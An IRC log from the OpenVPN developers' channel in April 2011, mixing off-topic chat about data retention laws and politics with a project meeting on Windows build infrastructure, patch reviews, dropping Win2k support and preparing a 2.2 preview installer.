<+krzie> no i mean thats weak, like sucks 04:21 <@mattock1> same thing happening here in Finland, though 04:21 <+krzie> did you read about the german lawmaker who got his phone company to give him the data they had collected on him? 04:21 <+krzie> his cell phone company 04:21 <@dazo> the fun part is that this is something EU comes up with ... and Czech voted this down and found it incompatible with the constitution .... so I'm considering to setup a box in Czech and route my traffic that way 04:21 <@mattock1> fortunately we got a "Pirate party" which I'll probably vote in the next elections :) 04:22 <@dazo> krzie: yeah, I saw that ... that's pretty massive information .... 6 months is the minimum EU requires, 2 years is maximum ... 04:22 <+krzie> mattock1, if it wasnt so cold there, you would have just sold me on moving there 04:22 <@mattock1> krzie: you'll get used to it :) 04:22 <@dazo> krzie: it's warmer in south Sweden ... and they have a similar party there as well ;-) 04:23 <@mattock1> maybe Denmark? 04:23 <@mattock1> even warmer 04:23 <+krzie> warmer as in never snows? 04:23 <@dazo> (but not comparable your place) 04:23 <@mattock1> krzie: nope 04:23 <+krzie> hehe 04:23 <+krzie> ya man i have like 4 years on a tropical island 04:23 <@mattock1> you'd have to go to southern Italy or Greece for that 04:23 <+krzie> i think california is the coldest i'll go 04:23 <+krzie> hehe 04:23 <@dazo> heh 04:24 <@mattock1> then none of the Scandinavian countries suit you... or Finland for that matter 04:24 <+krzie> =[ too bad 04:24 <@dazo> even not Czech ... as it even snow there too ... even though it can be warm in the summer there (south Czech is doing a lot of wine even) 04:25 <+krzie> well they have the green fairy 04:25 <+krzie> so i wont care its snowing 04:25 <@dazo> heh :) 04:25 <+krzie> hows the czech weed laws? 04:27 <@dazo> I honestly don't know ... there are a lot of German who comes over, because they think it is legal and get surprised when the police shows up .... 04:27 <@dazo> It's probably too much weed smoking in the Czech parliament for the politicians to really know what the law is :-P 04:27 <+krzie> lol nice 04:30 <@dazo> sounds like Holland is more your country of choice in that regards ;-) 04:30 <+krzie> well, or california 04:30 <+krzie> hell, its less controlled in california than holland 04:31 <+krzie> the state still hasnt figured out what its doing since '96 when medical passed 04:32 <@dazo> wow 04:32 <@mattock1> krzie: oh you mean the "medical" marijuana? 04:32 <+krzie> yep 04:32 <@mattock1> that's great! :P 04:32 <+krzie> aka health and safety code 11362.5 04:32 <+krzie> =] 04:33 <+krzie> (i used to grow using a tractor for a club) 04:33 <+krzie> well i did the irrigation and whatnot with a backho, didnt use tractors except for the beginning ;] 04:34 <+krzie> we did acres tho 04:34 <+krzie> the helicopters assumed it was a vinyard because of how big it was, lol 04:34 <@mattock1> do you need any permits to grow this "medical" weed? 04:35 <@mattock1> in California 04:35 <+krzie> yes, http://www.medicann.com/ 04:35 <@vpnHelper> Title: MediCann: Medical Cannabis Physicians and Alternative Health Care Clinics. (at www.medicann.com) 04:35 <+krzie> costs like $100 / yr 04:36 <+krzie> (i forget the actual price since i been gone 4 yrs, but i know its small) 04:37 <@mattock1> better to grow it for yourself, rather than obtain it illegally 04:37 <+krzie> and better illegally than from the legal clubs 04:37 <+krzie> they have quality, but you pay for it 04:37 <+krzie> where-as on the streets it is dirt cheap 04:38 <+krzie> same quality 04:38 <@mattock1> the kind of clubs where you go when you're in terrible pain and need some medication, right? 04:38 <@mattock1> :D 04:38 <+krzie> more like starbucks, but ya ;] 04:39 <+krzie> stonebucks! 04:39 <@mattock1> with the same variety and customization options? 04:40 <@dazo> no wonder that Schwartznegger could be elected .... wondering about who the next one will be though .... 04:40 <@mattock1> you mean Schwartzenegger? :P 04:41 <@dazo> yeah ;-) 04:41 <@mattock1> sorry, Schwarzenegger 04:41 <@mattock1> without the T 04:41 <+krzie> sheen is next! 04:41 <+krzie> and the country will make trump president 04:42 <@mattock1> what's up with the pro wrestler... the one in Predator I? 04:42 <+krzie> jesse ventura? 04:42 <@mattock1> yeah 04:42 <+krzie> he actually sucks FAR less than the rest of the government 04:42 <+krzie> he was a navy seal and whatnot too 04:43 <+krzie> he was gov of minnesotta 04:43 * dazo really gets concerned about the political development in the US now .... 04:43 <+krzie> dude, trump is talking bout running 04:44 <+krzie> and tbh, i support it 04:44 <+krzie> we need someone who knows how to suck less economically 04:44 <+krzie> hell, he'ld prolly learn how the federal reserve works and hit them with "you're fired" 04:44 <@dazo> too much "world power", too much debts, too much crazy people ... 04:45 <+krzie> dazo, yep 04:45 <+krzie> usa is headed for a meltdown 04:45 <@dazo> well, I'm just sceptical to him in the top position ... him being in government, even high up in the finical departments, that's fine ... but on the very top ... that scares me 04:46 <+krzie> the thing i like about him is i think he would not be a weenie 04:46 <+krzie> the rest just do whatever the military industrial complex wants 04:46 <+krzie> been that way for decades 04:46 <@dazo> agreed 04:47 <+krzie> but if thats true, they wouldnt let him survive anyways 04:47 <+krzie> the public is too asleep for them to let 1 dude ruin it 05:11 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 06:48 <@mattock1> I smell trouble: the new build computer is 64-bits... I'm sure it can only 06:48 <@mattock1> - spit out a 64-bit -only executable 06:48 <@mattock1> - won't build anything at all without excessive hacking 06:48 <@mattock1> :) 06:59 <+krzee> since you are doing VM, you can run a 32bit vm as well if you like 07:07 <@mattock1> yep, I could... if the worst happens I'll consider doing just that 07:07 <@mattock1> for now everything has been 100% smooth (which is surprising 07:07 <@mattock1> ) 07:07 <+krzee> awesome! 07:08 <@mattock1> I got to copy a few dependencies from old build computer and it's ready for building 07:38 <@mattock1> hmm, I think all that's needed for cross-compiling is to run correct vcvars* command-prompt 07:41 <+ecrist> ping krzee 07:46 <+krzee> pong 07:48 <+ecrist> is it OK if I use xxx for my tertiary DNS? 07:48 <+krzee> ill setup tertiary on hemp 07:48 <+krzee> i dont run bind on xxx iirc 07:48 <+ecrist> no, you do not 07:49 <+krzee> k, ready when you are 07:49 <+ecrist> heh 07:49 <+ecrist> I'll drop you an email of my zone list 07:49 <+ecrist> (it's lengthy) 07:49 <+krzee> ok, and the NS so i can allow xfer 07:51 <+krzee> you prefer notify yes or no? 07:53 <+ecrist> I notify you 07:54 <+krzee> cool 08:01 <+ecrist> so, you just need to setup as slave 08:02 <+ecrist> is it the normal IP for hemp? 08:02 <+ecrist> I need to add you to the allow-transfer 08:02 <+ecrist> list 08:20 -!- dazo is now known as dazo_afk 08:33 -!- dazo_afk is now known as dazo 09:44 -!- andj_afk is now known as andj 09:50 -!- mattock1 [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 10:13 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:53 -!- psha [~psha@213.208.162.69] has quit [Read error: No route to host] 10:53 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:43 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 15:04 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 15:04 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:36 -!- andj is now known as andj_afk 16:13 -!- dazo is now known as dazo_afk 17:10 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 17:20 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 17:20 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Apr 14 2011 00:35 -!- andj_afk is now known as andj 01:37 -!- dazo_afk is now known as dazo 02:09 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 05:48 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 06:21 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:21 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:23 <@dazo> mattock: hey! is the old build box available? Tried to log into it, but got the new one instead 06:23 <@mattock> hi! 06:23 <@mattock> I'll see if it's live 06:23 <@mattock> it's got a new IP 06:24 <@dazo> yeah, I figured :) 06:24 <@dazo> Would just need to test some of the tmp-dir patch ... to be sure my idea works or not ... haven't heard anything from the guy I asked for input 06:29 <@mattock> it's probably not alive, but if all goes well, the new build comp is ready in two hours or so 06:32 <@dazo> okay, cool! 07:34 <@mattock> one more buildsystem bug found... config_ti.py assumes to find ../tapinstall/7600/sources.in, but there's no such thing 07:34 <@mattock> the correct file is ../tapinstall/7600/sources 07:35 <@mattock> compiling for the first time on new build VM 07:35 <@dazo> cool! 07:38 <@mattock> build succeeded except for missing openvpn-gui 07:39 <@dazo> wow :) ... so we really dare to do the final 2.2 build on that box? ;-) 07:45 <@mattock> I think so... it seems Visual Studio defaults to x86 (good choice), so the executables/installer might actually work properly 07:46 <@dazo> good ... even though I'm not against releasing native 64bit in addition ... but 32bit only is good for now 07:47 <@mattock> looking into native 64-bit installer is good idea... I think most dependencies are 64-bit compatible anyways 07:47 <@mattock> damn, build completed without errors :D 07:48 <@mattock> dazo: I'll setup a user account and build environment for you 07:48 <@dazo> mattock: that would be awesome! 07:49 <@dazo> even though I try to avoid windows stuff, I see I do need to test code pieces there 08:38 <@mattock> dazo: I setup your user account and sent the credentials to you 08:38 <@mattock> I'll install MakeNSIS and then I'm done (for a while) 08:38 <@dazo> mattock: thx! I'll check it out soon :) 08:39 <@mattock> there's 3 concurrent user limit, so wait a while before doing anything :) 08:44 <@mattock> ok, everything set 08:45 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 08:45 -!- mode/#openvpn-devel [+v krzie] by ChanServ 08:50 <@mattock> I'll setup automatic logoffs now 08:52 <@dazo> mattock: I just tried to log in ... and it seems the limit is 2 concurrent users :) 08:52 <@mattock> I'll logout, just a sec 08:53 <@mattock> try now 08:53 <@dazo> there's and idle admin accout 08:53 <@dazo> and I can click on something to kick people out :-P 08:53 * dazo decides to be nice 08:56 <@mattock> the Administrator account seems to be some "console" account 08:56 <@mattock> I think that's a local login 09:01 <+krzie> electricity just went out, which makes every UPS in the house beep 09:02 <+krzie> and my maid says "the electricity is out jeff" 09:02 <+krzie> now what could she have wanted as a response!? i went with "i heard it, not much i can do about it" 09:02 <+krzie> lol 09:03 <@dazo> heh 09:11 <@mattock> dazo: it seems core.autocrlf = input will do lots of changes: http://pastebin.com/F9nZWrvr 09:12 <@mattock> maybe we should turn of core.autocrlf = input for now and fix the files manually? 09:12 <@dazo> was that all files? 09:12 <@mattock> yep 09:12 <@mattock> all that git status shows after "git clone" 09:12 <@dazo> nah, I say lets do this ... it's not that bad after all 09:13 <@dazo> # modified: ../httpdigest.c 09:13 <@dazo> # modified: ../httpdigest.h 09:13 <@dazo> that's the only files which is directly related to the core code 09:16 <@mattock> ok, I'll provide a whitespace patch and send it to you 09:18 <@mattock> sent 09:20 <@mattock> btw. meeting today? 09:20 <@mattock> I got additional buildsystem patches coming in 09:22 <@mattock> dazo: let me know when you're not using the build computer 09:22 <@dazo> mattock: I'm done 09:22 <@mattock> ok 09:22 <@mattock> did it work ok? 09:23 <@dazo> yeah, I could run my tests ... was a little hassle to find the vcallpath.bat file, to get the command line compiler working 09:23 <@dazo> I needed to just simply test a code snippet 09:24 <@mattock> you mean vcvarsall.bat? 09:24 <@mattock> it should have been in PATH 09:24 <@mattock> global PATH, that is 09:30 <@dazo> yeah ... well, I had to run it to find cl.exe 09:32 <@mattock> oh yes 09:32 <@mattock> for some reason you didn't have "Visual Studio 2008 Command-prompt" in your start menu 09:32 <@dazo> yeah, 09:32 <@mattock> the build system runs vcvarsall.bat automatically 09:32 <@mattock> but that won't help with cl.exe 09:35 <@mattock> all patches seem to work fine 09:39 <@dazo> I've just applied your CRLF fix to the tree and pushing it now 09:39 <@mattock> ok, I'll send my 3 patches to ml now 09:39 <@mattock> I also setup a meeting agenda... hoping to get the patches (pretty trivial) ACKed by James 09:39 <@dazo> goodie! 09:39 <@vpnHelper> RSS Update - testtrac: Change all CRLF linefeeds to LF linefeeds <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=6b2883a637fe73492f09816ee95b00c1b88d5fcb> 09:40 <@dazo> I've also sent the (final?) --tmp-dir patch to the ML too 09:40 <@dazo> cron2: ^^ if you have time to look at it, that'd be great 09:41 <@cron2> dazo: could you ack my "--rdns-internal" doc patch? 09:41 <@dazo> of course ... 09:41 <@cron2> sent on monday or so 09:41 <@dazo> yeah, I recall it 09:41 <@mattock> omg, forgot sign-off fields... :( 09:42 <@dazo> mattock: okay, I'll add them manually this time 09:42 <@mattock> I fixed that for the last patch 09:42 <@dazo> s/^/It's/ 09:43 <@mattock> is there a way to add signoffs automatically? 09:43 <@cron2> git commit -s ... 09:43 <@mattock> cron2: yeah, I mean without any swithces 09:44 <@mattock> switches 09:45 <@dazo> I don't think so ... trust me, when you do more commits, the -s comes automatically ;-) 09:45 <@dazo> and if you forget it ... git commit -s --amend 09:45 <@mattock> yep, apparently these is none: http://comments.gmane.org/gmane.comp.gnome.infrastructure/1191 09:45 <@dazo> (that's before a send-email/push, of course) 09:46 <@vpnHelper> Title: Public discussion of questions, problems and suggestions for the current gnome.org infrastructure, including such services as CVS, FTP, web, e-mail etc. (at comments.gmane.org) 09:46 <@mattock> maybe I'll learn, in time :) 09:46 <@dazo> :) 09:47 <@dazo> if it helps, I can be nastier and flog you next time you forget it ;-) 09:50 <@mattock> actually, I found a very neat recipe for amending commits earlier than HEAD^1... but I probably didn't write it down 09:51 <@dazo> that's dangerous to do though ... as it changes the commitish ... so please don't do that if there is a possibility we've been referencing commit ids in mails or other commits 09:52 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2011-04-14 09:52 <@vpnHelper> Title: Topics-2011-04-14 – OpenVPN Community (at community.openvpn.net) 09:52 <@mattock> that shouldn't happen if I mess things up privately, though :P 09:53 <@dazo> yeah :) 09:54 <@dazo> what I don't see, I don't care about ... but once it's pushed ;-) 10:02 <@vpnHelper> RSS Update - testtrac: Fixed bug in port-share that could cause port share process to crash <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=9ed122efe870288ea75ee62a4eae2373a655145b> || Add more detailed explanation regarding the function of "--rdns-internal" <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=cdb3a5c0864e0fe8d0b814de1f024fd624dd3b1c> 10:05 * dazo heads out for a few errands 10:25 <@mattock> installer built on the new build VM passed smoketests on WinXP 32-bit 10:32 <@mattock> and also on Win7 64-bit 12:22 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 13:02 <@mattock> meeting time 13:02 <@mattock> who's here? 13:02 * dazo is here 13:03 * krzee raises hand 13:03 <@mattock> hi guys! 13:03 <@mattock> I think I'll mail james just in case 13:03 <+krzee> herro 13:03 <@dazo> good idea! 13:06 <@mattock> ok, mail sent 13:06 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2011-04-14 13:06 <@vpnHelper> Title: Topics-2011-04-14 – OpenVPN Community (at community.openvpn.net) 13:06 <@mattock> topic list ^^^ 13:06 <@mattock> is there anything to add to the agenda? 13:07 <@dazo> --tmp-dir patch 13:07 <@mattock> can you give a link to the latest version? 13:08 <@dazo> http://thread.gmane.org/gmane.network.openvpn.devel/4593 13:08 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:09 <@mattock> dazo: is that a standalone patch that applies on top of latest beta2.2 branch? 13:10 <@mattock> or does it depend on earlier --tmp-dir patches not yet in Git? 13:10 <@dazo> that's a standalone patch, on top of latest beta2.2/master 13:10 <@dazo> I merged all into one, as it began to be quite unclear 13:10 <@mattock> ok 13:10 <@mattock> cron2: are you there? 13:11 <@mattock> or somebody else who knows the correct value for TAP_RELDATE 13:12 <@mattock> I think we could take care of this while waiting for James: http://thread.gmane.org/gmane.network.openvpn.devel/4596 13:12 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:13 <@dazo> If nobody says anything about the TAP_RELDATE, I suggest setting it to 2011-03-24, as that's the date when we modified the PRODUCT_TAP_WIN32_MIN_MINOR version 13:15 <@mattock> good idea 13:16 <@dazo> I can do that when we tag the final release version 13:17 <+krzee> whats the status of that vlan tagging patch? 13:17 <@dazo> that's not a change which is critical for review on the ML 13:17 <+krzee> (out of curiosity) 13:17 <@mattock> this brings in another point... if we change TAP_RELDATE, the TAP-drivers have to be signed again 13:17 <@dazo> krzee: nothing has happened there at all 13:17 <+krzee> ok, thats what i thought 13:17 <@dazo> mattock: that's correct 13:18 <+krzee> dazo, does it need testing or it needs re-writing? 13:18 <@mattock> I would prefer not changing TAP_RELDATE until after 2.2 because of that 13:18 <@dazo> krzee: if there comes up some real testing .... we're ready to include it ... however, this depends on the pass-tos feature as well, I think this was the culprit 13:18 <@dazo> mattock: is that signing something james needs to do? 13:19 <@mattock> at the moment yes 13:19 <@mattock> he was ok with me doing it in the future, but the switch might take some time 13:20 <@dazo> okay ... well, it's kind of dirty ... however the date field it's not, to my knowledge, a critical thing 13:20 <@mattock> afaik it's only cosmetic 13:20 <@dazo> mm 13:21 <@mattock> I mean, I don't think Windows uses that date for anything (e.g. versioning) 13:22 <@dazo> What about tap driver upgrades? will that do some checks? 13:22 <@mattock> it shouldn't, but I have not checked 13:22 <@mattock> hopefully james could shed some light on this 13:23 <@dazo> agreed 13:24 <@mattock> dazo: ACK for the Win2k patch? 13:24 * dazo is looking at those patches now 13:24 <@mattock> they are pretty trivial to be honest 13:25 <+krzee> mattock, ever gunna get the anchors fixed on the FAQ? 13:25 <@dazo> yeah, they are 13:25 <+krzee> we currently have links in error messages that dont work 13:25 <@mattock> krzee: I recall discussing that at some point with you... what link is broken? 13:25 <+krzee> all of the FAQ's anchors 13:26 <@mattock> krzee: lemme check 13:26 <+krzee> look at the error message when people need to add route-method exe in windows 13:26 <@dazo> I'm ACKing the "Remove Win2k support" announcement patch .... if I can do one change on-the-fly ... you're saying one place (towards the end) "${PRODUCT_NAME} only runs on XP, or higher" ... I would like to see " only runs on Windows XP or higher" 13:26 <+krzee> the DHCP error 13:27 <@mattock> dazo: sounds good 13:27 <+krzee> at that point, an old windows version should stay on the download page 13:27 <+krzee> "last version that supports win2k" 13:27 <@mattock> krzee: good idea 13:28 <@dazo> do we really want to help users not upgrading away from win2k? ;-) 13:28 <@mattock> did we decide that 2.1.x would support Win2k? or did support end with 2.1.4? 13:29 <+krzee> lol, its hard enough to get them to upgrade past 2.1rc, i surely cant handle telling them to go to xp or higher 13:29 <+krzee> lol 13:29 <@dazo> 2.1.3 was the last win2k, I believe 13:29 <@dazo> 2.1.4 is built with the new DDK, iirc 13:29 <@mattock> yes, that's true 13:30 <@mattock> I'll make sure 2.1.3 gets added to the download page "as the last version supporting win2k" 13:30 <+krzee> that is interesting... in the release of dropping win2k support please do explain why 13:30 <@dazo> krzee: I know :) I just couldn't resist not saying it ;-) 13:30 <+krzee> =] 13:30 <@dazo> basically, the reason is that newer development tools from Microsoft don't support Win2K 13:31 <+krzee> i caught that when you said the new DDK 13:31 <+krzee> but i was curios prior, im sure others will be 13:31 <@mattock> krzee: another good reason is that Win2k has been EOL for a while... even the extended support ended a while back 13:31 <@dazo> yupp 13:31 <@mattock> actually, we asked about win2k support on the openvpn-users mailing list, and nobody cared 13:32 <@dazo> but sure, we can add that to the release notes 13:32 <@mattock> one or two guys responded and said "well, I don't really care even though I got win2k running" :) 13:32 <@dazo> or the announcement 13:32 <+krzee> oh ya i am certainly not saying that i expect some outcry 13:32 <+krzee> i mean, if they run win2k its safe to say they arent looking for the latest openvpn upgrades ;] 13:33 <+krzee> or the latest * really 13:34 <@mattock> maybe we should add "Supported Windows platforms: WinXP and higher" or something to the downloads page 13:34 <@mattock> to make things clear 13:34 <@dazo> good idea 13:35 <@mattock> krzee: could tell me where you found the "route-method exe / dhcp" thingy you mentioned? 13:36 <@mattock> I have trouble finding it 13:36 <+krzee> whenever anyone has an error getting an IP in windows XP, then i say !winroute 13:36 <+krzee> lemme find it in google 13:39 <@mattock> there's one potential bug I have to reproduce and fix... namely "4 OpenVPN GUI icons on desktop after upgrade from 2.2-RC to 2.2-RC2" 13:39 <@mattock> I assume same would happen with 2.2-RC2 -> 2.2 13:40 <@dazo> ugh ... yeah jjk mentioned that as well 13:40 <@dazo> could it be a NSIS bug? ... or that something goes in a loop in the .nsi script? 13:41 <+krzee> i ran into that the other day 13:41 <+krzee> while testing that rc2 worked 13:41 <@mattock> I'd guess it's got something to do with all users/this user variables in Windows 13:41 <@mattock> the behavior changed between XP and Vista 13:41 <@dazo> hmm 13:41 <@mattock> krzee: what Windows version did you use? 13:41 <@mattock> and how can I reproduce this? 13:42 <+krzee> xp 13:42 <@mattock> ok 13:42 <+krzee> by simply installing RC, then RC2 13:42 <+krzee> i would have selected all users 13:43 <@mattock> did you have openvpn installed before 2.2-RC? 13:43 <@mattock> before installing 2.2-RC I mean 13:43 <@cron2> oh. missed meeting. sorry. 13:43 <@mattock> cron2: there's still time :) 13:44 <@mattock> dazo: if the OpenVPN GUI icon count goes from 0 to 4 then there's got to be some loop somewhere 13:44 <@cron2> mattoch, dazo: regarding TAP_RELDATE - iff we want to change it, I'm with dazo 13:45 <@dazo> cron2: as I've committed your patch to the git tree ... it would be good if you could ACK the tmp-dir patch ;-) http://thread.gmane.org/gmane.network.openvpn.devel/4593 13:45 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:45 <@mattock> ok 13:45 <@cron2> dazo: right now trying to read up on my day's e-mail 13:45 <@dazo> :) 13:45 <@dazo> cron2: TAP_RELDATE ... that's just cosmetic, right? 13:46 <@cron2> I think so 13:46 <@mattock> dazo, cron2: I can test for that, too 13:46 <@mattock> change the TAP_RELDATE to something really silly and/or old, and see what happens when upgrading 13:46 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:47 -!- mode/#openvpn-devel [+o raidz] by ChanServ 13:47 <@dazo> sounds good! 13:47 <+krzee> test TAP_RELDATE for the y2k bug ;] 13:47 <+krzee> 1900! 13:48 <@dazo> lol 13:48 <@mattock> krzee: I'm sure Windows would crash :) 13:48 <+krzee> windows crashes if you do anything besides pulling the power cable ;] 13:48 <@mattock> dazo: any comments on the python patches? 13:48 <@mattock> I can explain them in more detail if they're not obvious 13:49 <@cron2> krzee: it also crashes if you pull the power cable 13:49 <@dazo> they just make sense to me ... commit log match the change ... 13:49 <+krzee> can we patch the users to accept the answers to their questions? 13:50 <@mattock> krzee: lol! 13:50 <@dazo> krzee: however we make that patch, it's always incompatible :( 13:50 <+krzee> lol 13:50 <@mattock> "merge conflict" 13:50 <@mattock> or whitespace errors 13:50 <@dazo> probably the latter ... plenty of blank areas 13:51 <@mattock> maybe a few extra words on my patches to encourage you to give an ACK :) 13:51 <@mattock> http://thread.gmane.org/gmane.network.openvpn.devel/4597 13:51 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:52 <@mattock> so, basically, when using prebuilt TAP-drivers make_dist.py did not find tapinstall.exe from build dependencies 13:52 <@mattock> because it was looking for devcon.exe that building devcon sources creates 13:52 <@dazo> makes sense 13:52 <@dazo> ACK 13:52 <@mattock> then this one: http://thread.gmane.org/gmane.network.openvpn.devel/4595 13:53 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:53 <@dazo> ACK 13:53 <@mattock> thanks! 13:53 <@mattock> cron2: do you want access to the new Win2008 r2 build VM? 13:53 <@dazo> I'll apply them this evening 13:53 * cron2 doesn't want to touch windows 13:54 <@mattock> cron2: but do you _need_ to? :P 13:54 <@cron2> mattock: but seriously - I won't have time to do anything windows-related in the next 3-4 weeks anyway. Then I might come back :) 13:54 <@mattock> I fact, building openvpn on Windows is now easier than on *NIX 13:54 <@mattock> (once the one-day build environment setup is done) 13:55 <@mattock> cd c:\users\username\openvpn-build\openvpn-testing\win 13:55 <@mattock> python build_all.py -u 13:56 <@cron2> so how's that easier than "cd openvpn-testing ; make"? 13:56 <@dazo> touché! 13:56 <@mattock> flamewar! 13:56 <@mattock> I was just being sarcastic :) 13:57 <@dazo> cron2: have you had time to (or when) to look at the rebasing of your IPv6 patches? 13:57 <+krzee> lol 13:57 <@cron2> now that's more interesting than windows :) 13:58 <@cron2> "soon" 13:58 <@mattock> dazo, cron2: what's the status of jjo's patches? 13:58 <@mattock> are they up-to-date and all? 13:58 <@cron2> he wrote mail some weeks ago that he has rebased them already 13:58 <@mattock> oh, neat! 13:58 <@dazo> jjo's patches are ready, but I haven't had time to look at it yet .... waiting for 2.2 to settle first 13:59 <@mattock> did --tmp-dir get an ACK already? 13:59 <@cron2> not yet 13:59 <@mattock> I think that's the last topic 14:00 <@cron2> dazo sneaked in cosmetic changes 14:00 <@cron2> +#endif /* USE_SSL */ 14:01 <@dazo> yeah ... I noticed ... I thought that was harmless though ... the #ifdef's got a bit confusing 14:01 <@cron2> it is 14:01 <@dazo> it was quite nested 14:02 <@cron2> dazo: you still have "char * tmpdir = buf" in there... 14:02 <@cron2> why? 14:02 <@dazo> duh! 14:02 <@cron2> ah 14:02 <@dazo> grrrrr ... I tested the wrong patch 14:02 <@cron2> the patch has been changed to return NULL now, instead of msg(M_FATAL) 14:02 <@cron2> in that case, it's ok 14:03 <@cron2> ACK 14:03 <@cron2> sent 14:03 <@dazo> thx! 14:05 <@dazo> I'll apply this patch + the three from mattock ... anything else? 14:05 <@mattock> don't think so 14:05 <@dazo> I'll try to add those few man page updates which came after last meeting as well 14:06 <@mattock> dazo: when the Git tree is updated I'll generate the 2.2-preview installer and announce it 14:06 <@dazo> okay ... then I'll hold of the final tagging until it's approved 14:07 <@dazo> mattock: when you create the installer .... please update version.m4 to say 2.2-preview in the version string 14:07 <@dazo> just so we're sure 14:07 <@mattock> ok, I'll do that 14:08 <@mattock> any chance on getting the patches to git by tomorrow morning? 14:08 <@mattock> or tomorrow in general :) 14:08 <@dazo> I'm looking at it now ... so in a couple of hours, probably 14:09 <+krzee> mattock, Initialization Sequence Completed With Errors [see http://openvpn.net/faq.html# dhcpclientserv ] 14:09 <@vpnHelper> Title: FAQ Community (at openvpn.net) 14:09 <@mattock> krzee: ok 14:09 <+krzee> thats a single example 14:09 <+krzee> they are ALL broken 14:11 <@mattock> krzee: I have bad feeling this has to do with the Joomla page layout 14:11 <@mattock> but I'll check if I could add anchors 14:12 <@cron2> looking at the .nsi diff... 14:12 <@cron2> This wizard will guide you through the installation of ${PRODUCT_NAME}, an Open Source VPN package by James Yonan. 14:12 <@mattock> krzee: and where do you find these links? 14:12 <@mattock> I could perhaps fix the links themselves, instead of adding anchors 14:12 <+krzee> i googled 14:13 <+krzee> "initialization Sequence Completed with errors DHCP openvpn" 14:13 <+krzee> oh the links 14:13 <+krzee> they are in the code 14:13 <+krzee> you gunna make the link: http://openvpn.net/index.php/open-source/faq/79-client/259-tap-win32-adapter-is-not-coming-up-qinitialization-sequence-completed-with-errorsq.html 14:13 <+krzee> in the error? 14:13 <+krzee> lol 14:13 <+krzee> personally i think fixing the FAQ would be better ;] 14:15 <@mattock> krzee: I'll look into this tomorrow 14:17 <@mattock> mkay, I think the meeting is over now 14:17 <@mattock> too bad james couldn't make it today 14:18 <@dazo> I'm pushing out the git tree now ... will look at man page updates now 14:18 <@dazo> but this is good enough to spin a preview, I'd say 14:18 <@mattock> I'll write the summary tomorrow as usual 14:18 <@mattock> dazo: agreed! 14:18 <@mattock> and thanks for pushing the change to git so quickly! :) 14:19 <@dazo> you're welcome :) 14:20 <@dazo> mattock: can you find the e-mail address for the user 'rf'? 14:20 <@mattock> I'm thinking of using 2.2-preview1 as the version 14:21 <@mattock> rf? what context? 14:21 <@mattock> you mean LDAP user "rf"? 14:21 <+krzee> isnt preview = RC? 14:21 <@mattock> krzee: not in my parlance :P 14:21 * krzee googles parlance 14:21 <+krzee> ahh ok 14:21 <@dazo> yeah 14:22 <@mattock> I'm open to suggestions 14:22 <@dazo> LDAP user 'rf' 14:22 <@mattock> just a sec 14:22 <+krzee> i would expect it to just bump an RC version, until it goes release 14:22 <+krzee> beta - rc - release 14:23 <@dazo> krzee: well, this is just to make sure we don't end up releasing a 2.2 ... and two days later 2.2.1, due to Windows being all messed up, only requiring build tool updates 14:23 <@vpnHelper> RSS Update - testtrac: Fixed copying of tapinstall.exe to dist/bin when using prebuilt TAP-drivers <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=343037a99708bd7785de10cc5be37a150609bd01> || Removed Win2k from supported platforms list in INSTALL and win/openvpn.nsi <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=9b8247edf3e58893eb3ecc38dbfb2805f 14:23 <@mattock> krzee: this is just a "preview" of the final 2.2... 14:23 <+krzee> wouldnt RC3 do the same thing? 14:23 <@mattock> not really... I'm not really releasing anything 14:24 <@mattock> e.g. updating openvpn.net 14:24 <@dazo> well, this is just a test-spin of the windows build ... nothing else 14:24 <@mattock> just announcing "here's a preview of 2.2, please test before it goes public" 14:24 <+krzee> ohhh, so it will be for testers on -devel basically? 14:24 <@mattock> yeah, exactly 14:24 <+krzee> ok, i see 14:24 <@dazo> yeah 14:24 <+krzee> makes sense 14:24 <@mattock> there's little reason to do the same for *NIX, as those guys can compile from source, too 14:24 <@mattock> or use git 14:25 <@mattock> I'd be surprised if more than a few dozen people in the world compile openvpn for windows 14:25 <@mattock> such a mess, even though it's much easier now 14:26 <+krzee> true, but many more than a few dozen have WANTED to 14:26 <+krzee> heheh 14:26 <+krzee> so they could store PW to a file 14:26 <@dazo> heh 14:26 <@dazo> and with 2.2, that won't be an issue any more ... as that feature is now enabled :) 14:27 <+krzee> to the lament of sysadmins everywhere 14:27 <@mattock> also, I managed to setup the new build computer in 4-6 hours with my own instructions 14:27 <@dazo> new personal record! 14:27 <+krzee> 4-6 hours, did you build the machine from parts too? heheh 14:29 <@mattock> krzee: yep, I had 